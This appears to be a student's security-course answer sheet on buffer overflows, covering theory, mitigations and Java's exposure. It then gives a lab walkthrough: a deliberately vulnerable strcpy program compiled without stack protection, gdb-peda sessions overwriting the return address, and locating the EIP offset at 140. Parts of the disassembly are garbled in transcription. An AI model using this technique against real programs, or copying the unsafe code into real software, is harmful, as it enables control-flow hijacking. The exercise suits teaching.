## Q1

A buffer overflow condition exists when a program attempts to put more data in a buffer than it can hold which might result in putting data in a memory area past a buffer. In this case, a buffer is a sequential section of memory allocated to contain anything from a character string to an array of integers.

This vulnerability usually occurs when user input is not properly sanitized or buffer is not big enough to hold data.

Exploiting buffer overflow can corrupt data (stack or heap), crash the program or system, or cause the execution of malicious code (stack smashing).

## Q2

- Using languages that are highly immune to buffer overflow (e.g., Python and C#)
- Sanitizing and bound checking user input to prevent overwriting into buffers
- Avoiding standard library functions that have not been boundchecked (e.g., gets, scanf, etc.)
- Address space layout randomization (ASLR): Buffer overflow attacks typically need to know where executable code is located. ASLR moves at random around locations of data regions to randomize address spaces
- Data execution prevention: This method prevents an attack from being able to run code in non-executable regions by flagging areas of memory as executable or non-executable

## Q3

Since Java Strings are based on char arrays and Java automatically checks array bounds, buffer overflows are only possible in unusual scenarios:

- If you call native code via JNI
- In the JVM itself (usually written in C++)
- The interpreter or JIT compiler does not work correctly (Java bytecode mandated bounds checks)

Q4

# **Practical Question**

vulnerable Code:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void copy(char *input) {
   char buffer[128];
   strcpy(buffer, input);
   printf("buffer is: %s\n", buffer);
   return;
}

int main(int argc, char *argv[]) {
   if (argc == 1)
     return 1;
   copy(argv[1]);
   return 0;
}
```

I used the following command to compile the code

#### gcc -z execstack -fno-stack-protector -o overflow main.c

here's the disassembly of the executable file

#### main

```
disas main
Dump of assembler code for function main:
  0×000011e2 <+0>: lea
                              ecx,[esp+0\times4]
                                 ,0×fffffff0
  0×000011e6 <+4>:
                      push
  0×000011e9 <+7>:
                              DWORD PTR [ecx-0×4]
  0×000011ec <+10>:
                      epush
  0×000011ed <+11>:
                      mov
  0×000011ef <+13>:
                      push
  0×000011f0 <+14>:
                              esp,0×4
                     call
  0×000011f3 <+17>:
                              0×122c <__x86.get_pc_thunk.ax>
                              eax,0×2dfc
  0×000011f8 <+22>:
                     add
  0×000011fd <+27>:
                      mov
                              DWORD PTR [eax], 0×1
  0×000011ff <+29>:
                      cmp
  0×00001202 <+32>:
                              0×120b <main+41>
  0×00001204 <+34>:
                      mov
                              eax,0×1
  0×00001209 <+39>:
                              0×1224 <main+66>
                              eax,DWORD PTR [eax+0×4]
  0×0000120b <+41>:
                       mov
  0×0000120e <+44>:
                       add
                                x,0×4
                                x,DWORD PTR [eax]
  0×00001211 <+47>:
                       mov
  0×00001213 <+49>:
  0×00001216 <+52>:
                      push
  0×00001217 <+53>:
                       call
                              0×1199 <copy>
  0×0000121c <+58>:
                       add
                              esp,0×10
  0×0000121f <+61>:
                     mov
                                 ,DWORD PTR [ebp-0×4]
  0×00001224 <+66>:
                      mov
  0×00001227 <+69>:
                       leave
                              esp, [ecx-0\times4]
  0×00001228 <+70>:
                      lea
  0×0000122b <+73>:
                       ret
End of assembler dump.
```

#### copy

```
disas copy
Dump of assembler code for function copy:
  0×00001199 <+0>:
                        push
  0×0000119a <+1>:
                        mov
  0×0000119c <+3>:
                        push
  0×0000119d <+4>:
                                sp,0×84
                        sub
                               0×10a0 < x86.get pc thunk.bx>
  0×000011a3 <+10>:
                        call
  0×000011a8 <+15>:
                        add
                                  ,0×2e4c
  0×000011ae <+21>:
                        sub
                                  ,0×8
                               DWORD PTR [ebp+0×8]
  0×000011b1 <+24>:
                        push
                               eax,[ebp-0×88]
  0×000011b4 <+27>:
                        lea
  0×000011ba <+33>:
                        push
  0×000011bb <+34>:
                        call
                               0×1050 <strcpy@plt>
  0×000011c0 <+39>:
                        add
                                 p,0×10
                                 p,0×8
  0×000011c3 <+42>:
                        sub
                                  ,[ebp-0×88]
  0×000011c6 <+45>:
                        lea
  0×000011cc <+51>:
                        push
  0×000011cd <+52>:
                        lea
                               eax,[ebx-0×1fec]
  0×000011d3 <+58>:
                        push
                               0×1040 <printf@plt>
  0×000011d4 <+59>:
                        call
  0×000011d9 <+64>:
                        add
                               esp,0×10
  0×000011dc <+67>:
                        nop
                               ebx, DWORD PTR [ebp-0×4]
  0×000011dd <+68>:
                        mov
  0×000011e0 <+71>:
                        leave
  0×000011e1 <+72>:
                        ret
End of assembler dump.
```

put a breakpoint after strcpy with the following command

```
gdb-peda$ br *copy+39
Breakpoint 1 at 0×11c0
```

run the program and fill the buffer (with no overflow) using python -c
r \$(python -c "print('A'\*127)")

```
EAX: 0×bfffeed0 ('A' <repeats 127 times>)
EBX: 0×403ff4 → 0×3ef0
ECX: 0×bffff2b0 ("AAAAAAAA")
EDX: 0×bfffef46 ("AAAAAAAA")
                           40 (<__do_global_dtors_aux>: push
                                                                    ebp)
EDI: 0×b7ffeba0 → 0×0
EBP: 0×bfffef58 → 0×bfffef78 → 0×0
ESP: 0×bfffeec0 → 0×bfffeed0 ('A' <repeats 127 times>)
         011c0 (<copy+39>: add esp,0×10)
EFLAGS: 0×202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
   0×4011b4 <copy+27>: lea
                                 eax,[ebp-0×88]
   0×4011ba <copy+33>: push
                                 eax
   0×4011bb <copy+34>:

⇒ 0×4011c0 <copy+39>: add

                                 esp,0×10
   0×4011c3 <copy+42>: sub
0×4011c6 <copy+45>: lea
                                 esp,0×8
                                 eax,[ebp-0×88]
   0×4011cc <copy+51>: push
                                 eax
   0×4011cd <copy+52>: lea eax,[ebx-0×1fec]
0000| 0 \times bfffeec0 \longrightarrow 0 \times bfffeed0 ('A' <repeats 127 times>)
0004| 0×bfffeec4 → 0×bffff23a ('A' <repeats 127 times>)
0008 \mid 0 \times \text{bfffeec8} \longrightarrow 0 \times \text{b7c09a30} \longrightarrow 0 \times 6172 \text{ ('ra')}
0012| 0×bfffeecc →
                               < (<copy+15>:
                                                           ebx,0×2e4c)
0016| 0xbfffeed0 ('A' <repeats 127 times>)
0020| 0×bfffeed4 ('A' <repeats 123 times>)
0024| 0×bfffeed8 ('A' <repeats 119 times>)
0028| 0×bfffeedc ('A' <repeats 115 times>)
Legend: code, data, rodata, value
```

### Registers:

```
gdb-peda$ i frame
Stack level 0, frame at 0×bfffef60:
  eip = 0×4011c0 in copy; saved eip = 0×40121c
  called by frame at 0×bfffef90
  Arglist at 0×bfffef58, args:
  Locals at 0×bfffef58, Previous frame's sp is 0×bfffef60
  Saved registers:
   ebx at 0×bfffef54, ebp at 0×bfffef58, eip at 0×bfffef5c
gdb-peda$
```

### Stack around eip:

```
x/16dwx 0×bfffef5c-44
     0×41414141
                     0×41414141
                                     0×41414141
                                                     0×41414141
     0×41414141
                     0×41414141
                                     0×41414141
                                                     0×00414141
    0×00000000
                     0×b7e1dff4
                                     0×bfffef78
                                                     0×0040121c
     0×bffff23a
                     0×b7fdbd41
                                     0×b7c1c9a2
                                                     0×004011f8
```

0x0040121c is the return address, which is exactly the instruction after calling copy in **main** 

We can see that this return address is not overflowed, let's change that! we need another 12 bytes to reach eip, so let's run the program again using this command

```
r $(python -c "print('A'*(128+12)+'YYZZ')")
```

here's the result

```
i frame
Stack level 0, frame at 0×bfffef50:
eip = 0 \times 4011c0 in copy; saved eip = 0 \times 5a5a5959
called by frame at 0×bfffef54
Arglist at 0×bfffef48, args:
Locals at 0×bfffef48, Previous frame's sp is 0×bfffef50
Saved registers:
 ebx at 0×bfffef44, ebp at 0×bfffef48, eip at 0×bfffef4c
          x/16dwx 0×bfffef4c-44
                0×41414141
0×bfffef20:
                                0×41414141
                                                 0×41414141
                                                                 0×41414141
0×bfffef30:
                0×41414141
                                0×41414141
                                                 0×41414141
                                                                 0×41414141
                0×41414141
0×bfffef40:
                                0×41414141
                                                                 0×5a5a5959
                                                 0×41414141
0×bfffef50:
                0×bffff200
                                0×b7fdbd41
                                                 0×b7c1c9a2
                                                                 0×004011f8
```

As you can see, the string ZZYY has replaced the return address.

now we know the offset to reach eip is 140.

Let's repeat the process, but this time using **pattern**.

```
pattern arg 200
r
continue
pattern search
```

```
0020| 0×bfffef34 ("Araavaataawaauaaxaavaayaawaazaaxaaya")
0024| 0×bfffef38 ("VAAtaawaauaaxaavaayaawaazaaxaaya")
0028 0×bfffef3c ("AAWAAUAAXAAVAAYAAWAAZAAxAAyA")
Legend: code, data, rodata, value
Stopped reason:
0×41416d41 in ?? ()
              pattern search
EBX+0 found at offset: 132
EBP+0 found at offset: 136
EIP+0 found at offset: 140
Registers point to pattern buffer:
[ESP] \rightarrow offset 144 - size ~56
Pattern buffer found at:
0 \times 004051ab : offset 0 - size 200 ([heap]) 0 \times bfffedbc : offset 117 - size 83 ($sp + -0.000)
                                    17 - size 83 ($sp + -0×164 [-89 dwords])

73 - size 44 ($sp + -0×110 [-68 dwords])

0 - size 200 ($sp + -0×90 [-36 dwords])

0 - size 200 ($sp + 0×2d2 [180 dwords])
0×bfffee10 : offset
0×bfffee90 : offset
0×bffff1f2 : offset 0 - size 200 ($sp + 0×2d2 [1
References to pattern buffer found at:
0×bfffe798 : 0×bfffedbc ($sp + -0×788 [-482 dwords])
0×bfffe7a4 : 0×bfffedbc ($sp + -0×77c [-479 dwords])
0×bfffe7e4 : 0×bfffedbc ($sp + -0×73c [-463 dwords])
0×bfffe7f8 : 0×bfffedbc ($sp + -0×728 [-458 dwords])
0×bfffed28 : 0×bfffedbc ($sp + -0×1f8 [-126 dwords])
0×bfffeda0 : 0×bfffedbc ($sp + -0×180 [-96 dwords])
```

Shellcode injection attack is in the recorded video